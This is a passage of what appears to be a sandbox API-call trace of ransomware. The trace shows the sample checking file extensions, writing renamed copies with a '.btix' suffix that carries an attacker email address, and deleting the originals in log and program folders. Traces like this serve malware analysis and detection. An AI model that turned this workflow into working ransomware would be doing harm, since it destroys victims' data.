(lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0052.450] lstrlenW (lpString=".1cd") returned 4 [0052.450] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.450] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0052.450] lstrlenW (lpString=".jpg") returned 4 [0052.450] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.450] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0052.450] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0052.450] lstrlenW (lpString=".doc") returned 4 [0052.450] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.450] lstrlenW (lpString=".docx") returned 5 [0052.450] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.450] lstrlenW (lpString=".pdf") returned 4 [0052.450] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.450] lstrlenW (lpString=".xls") returned 4 [0052.450] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0052.450] lstrlenW (lpString=".xlsx") returned 5 [0052.450] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0052.450] lstrlenW (lpString=".ppt") returned 4 [0052.450] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0052.450] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0052.450] lstrlenW (lpString=".zip") returned 4 [0052.450] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.450] lstrlenW (lpString=".rar") returned 4 [0052.450] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.450] lstrlenW (lpString=".bz2") returned 4 [0052.450] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.450] lstrlenW (lpString=".7z") returned 3 [0052.451] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.451] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0052.451] lstrlenW (lpString=".dbf") returned 4 [0052.451] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.451] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0052.451] lstrlenW (lpString=".1cd") returned 4 [0052.451] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.451] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0052.451] lstrlenW (lpString=".jpg") returned 4 [0052.451] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.451] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0052.451] lstrlenW (lpString="Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 48 [0052.451] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0052.451] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=1052672) returned 1 [0052.451] CloseHandle (hObject=0x38c) returned 1 [0052.451] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 0x20 [0052.451] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.451] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0052.452] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.452] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.452] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0052.453] GetLastError () returned 0x0 [0052.453] ReadFile (in: hFile=0x38c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0052.568] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0052.585] ReadFile (in: hFile=0x38c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x1010, lpOverlapped=0x0) returned 1 [0052.593] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x1020, lpOverlapped=0x0) returned 1 [0052.824] ReadFile (in: hFile=0x38c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.824] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x134, lpOverlapped=0x0) returned 1 [0052.824] SetEndOfFile (hFile=0x320) returned 1 [0052.824] CloseHandle (hObject=0x320) returned 1 [0052.841] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.841] SetEndOfFile (hFile=0x38c) returned 1 [0052.842] CloseHandle (hObject=0x38c) returned 1 [0052.842] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0052.842] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 1 [0052.843] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0052.843] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0052.843] lstrlenW (lpString=".doc") returned 4 [0052.843] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.843] lstrlenW (lpString=".docx") returned 5 [0052.843] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.843] lstrlenW (lpString=".pdf") returned 4 [0052.843] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.843] lstrlenW (lpString=".xls") returned 4 [0052.843] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0052.843] lstrlenW (lpString=".xlsx") returned 5 [0052.843] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0052.843] lstrlenW (lpString=".ppt") returned 4 [0052.843] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0052.843] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0052.843] lstrlenW (lpString=".zip") returned 4 [0052.843] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.843] lstrlenW (lpString=".rar") returned 4 [0052.843] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.843] lstrlenW (lpString=".bz2") returned 4 [0052.843] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.843] lstrlenW (lpString=".7z") returned 3 [0052.843] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.843] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0052.843] lstrlenW (lpString=".dbf") returned 4 [0052.843] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.843] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0052.843] lstrlenW (lpString=".1cd") returned 4 [0052.843] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.844] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0052.844] lstrlenW (lpString=".jpg") returned 4 [0052.844] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.844] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0052.844] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0052.844] lstrlenW (lpString=".doc") returned 4 [0052.844] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.844] lstrlenW (lpString=".docx") returned 5 [0052.844] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.844] lstrlenW (lpString=".pdf") returned 4 [0052.844] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.844] lstrlenW (lpString=".xls") returned 4 [0052.844] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0052.844] lstrlenW (lpString=".xlsx") returned 5 [0052.844] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0052.844] lstrlenW (lpString=".ppt") returned 4 [0052.844] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0052.844] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0052.844] lstrlenW (lpString=".zip") returned 4 [0052.844] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.844] lstrlenW (lpString=".rar") returned 4 [0052.844] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.844] lstrlenW (lpString=".bz2") returned 4 [0052.844] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.844] lstrlenW (lpString=".7z") returned 3 [0052.844] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.844] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0052.844] lstrlenW (lpString=".dbf") returned 4 [0052.844] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.844] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0052.844] lstrlenW (lpString=".1cd") returned 4 [0052.844] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.844] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0052.844] lstrlenW (lpString=".jpg") returned 4 [0052.844] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.845] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0052.845] lstrlenW (lpString="Windows PowerShell.evtx") returned 23 [0052.845] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0052.845] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=69632) returned 1 [0052.845] CloseHandle (hObject=0x38c) returned 1 [0052.845] GetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 0x20 [0052.845] GetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\windows powershell.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.845] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0052.845] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.845] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.845] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\windows powershell.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0052.846] GetLastError () returned 0x0 [0052.846] ReadFile (in: hFile=0x38c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x11000, lpOverlapped=0x0) returned 1 [0054.524] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x11010, lpOverlapped=0x0) returned 1 [0054.853] ReadFile (in: hFile=0x38c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0054.853] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x102, lpOverlapped=0x0) returned 1 [0054.853] SetEndOfFile (hFile=0x320) returned 1 [0054.853] CloseHandle (hObject=0x320) returned 1 [0054.874] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.876] SetEndOfFile (hFile=0x38c) returned 1 [0054.878] CloseHandle (hObject=0x38c) returned 1 [0054.878] SetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0054.878] DeleteFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 1 [0054.878] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0054.878] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0054.878] lstrlenW (lpString=".doc") returned 4 [0054.878] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0054.878] lstrlenW (lpString=".docx") returned 5 [0054.878] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0054.878] lstrlenW (lpString=".pdf") returned 4 [0054.878] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0054.878] lstrlenW (lpString=".xls") returned 4 [0054.878] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0054.879] lstrlenW (lpString=".xlsx") returned 5 [0054.879] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0054.879] lstrlenW (lpString=".ppt") returned 4 [0054.879] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0054.879] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0054.879] lstrlenW (lpString=".zip") returned 4 [0054.879] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0054.879] lstrlenW (lpString=".rar") returned 4 [0054.879] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0054.879] lstrlenW (lpString=".bz2") returned 4 [0054.879] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0054.879] lstrlenW (lpString=".7z") returned 3 [0054.879] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0054.879] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0054.879] lstrlenW (lpString=".dbf") returned 4 [0054.879] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0054.879] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0054.879] lstrlenW (lpString=".1cd") returned 4 [0054.879] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0054.879] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0054.879] lstrlenW (lpString=".jpg") returned 4 [0054.879] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0054.879] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0054.879] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0054.879] lstrlenW (lpString=".doc") returned 4 [0054.879] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0054.880] lstrlenW (lpString=".docx") returned 5 [0054.880] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0054.880] lstrlenW (lpString=".pdf") returned 4 [0054.880] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0054.880] lstrlenW (lpString=".xls") returned 4 [0054.880] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0054.880] lstrlenW (lpString=".xlsx") returned 5 [0054.880] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0054.880] lstrlenW (lpString=".ppt") returned 4 [0054.880] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0054.880] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0054.880] lstrlenW (lpString=".zip") returned 4 [0054.880] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0054.880] lstrlenW (lpString=".rar") returned 4 [0054.880] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0054.880] lstrlenW (lpString=".bz2") returned 4 [0054.880] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0054.880] lstrlenW (lpString=".7z") returned 3 [0054.880] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0054.880] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0054.880] lstrlenW (lpString=".dbf") returned 4 [0054.880] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0054.880] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0054.880] lstrlenW (lpString=".1cd") returned 4 [0054.880] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0054.880] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0054.880] lstrlenW (lpString=".jpg") returned 4 [0054.880] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0054.881] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0054.881] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39 [0054.881] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0054.881] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=21184) returned 1 [0054.881] CloseHandle (hObject=0x38c) returned 1 [0054.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x20 [0054.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0054.881] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0054.881] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.881] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.881] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0054.882] GetLastError () returned 0x0 [0054.882] ReadFile (in: hFile=0x38c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x52c0, lpOverlapped=0x0) returned 1 [0054.919] WriteFile (in: hFile=0x2e0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x52d0, lpOverlapped=0x0) returned 1 [0054.920] ReadFile (in: hFile=0x38c, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0054.920] WriteFile (in: hFile=0x2e0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x122, lpOverlapped=0x0) returned 1 [0054.921] SetEndOfFile (hFile=0x2e0) returned 1 [0054.921] CloseHandle (hObject=0x2e0) returned 1 [0054.922] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.922] SetEndOfFile (hFile=0x38c) returned 1 [0054.923] CloseHandle (hObject=0x38c) returned 1 [0054.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0054.923] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 1 [0054.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0054.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0054.924] lstrlenW (lpString=".doc") returned 4 [0054.924] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.924] lstrlenW (lpString=".docx") returned 5 [0054.924] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0054.924] lstrlenW (lpString=".pdf") returned 4 [0054.924] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.924] lstrlenW (lpString=".xls") returned 4 [0054.924] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.924] lstrlenW (lpString=".xlsx") returned 5 [0054.924] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0054.924] lstrlenW (lpString=".ppt") returned 4 [0054.924] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0054.924] lstrlenW (lpString=".zip") returned 4 [0054.924] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.924] lstrlenW (lpString=".rar") returned 4 [0054.924] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.924] lstrlenW (lpString=".bz2") returned 4 [0054.924] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.924] lstrlenW (lpString=".7z") returned 3 [0054.924] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0054.924] lstrlenW (lpString=".dbf") returned 4 [0054.924] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0054.925] lstrlenW (lpString=".1cd") returned 4 [0054.925] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0054.925] lstrlenW (lpString=".jpg") returned 4 [0054.925] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0054.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned 97 [0054.925] lstrlenW (lpString=".doc") returned 4 [0054.925] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.925] lstrlenW (lpString=".docx") returned 5 [0054.925] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0054.925] lstrlenW (lpString=".pdf") returned 4 [0054.925] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.925] lstrlenW (lpString=".xls") returned 4 [0054.925] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.925] lstrlenW (lpString=".xlsx") returned 5 [0054.925] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0054.925] lstrlenW (lpString=".ppt") returned 4 [0054.925] lstrcmpiW 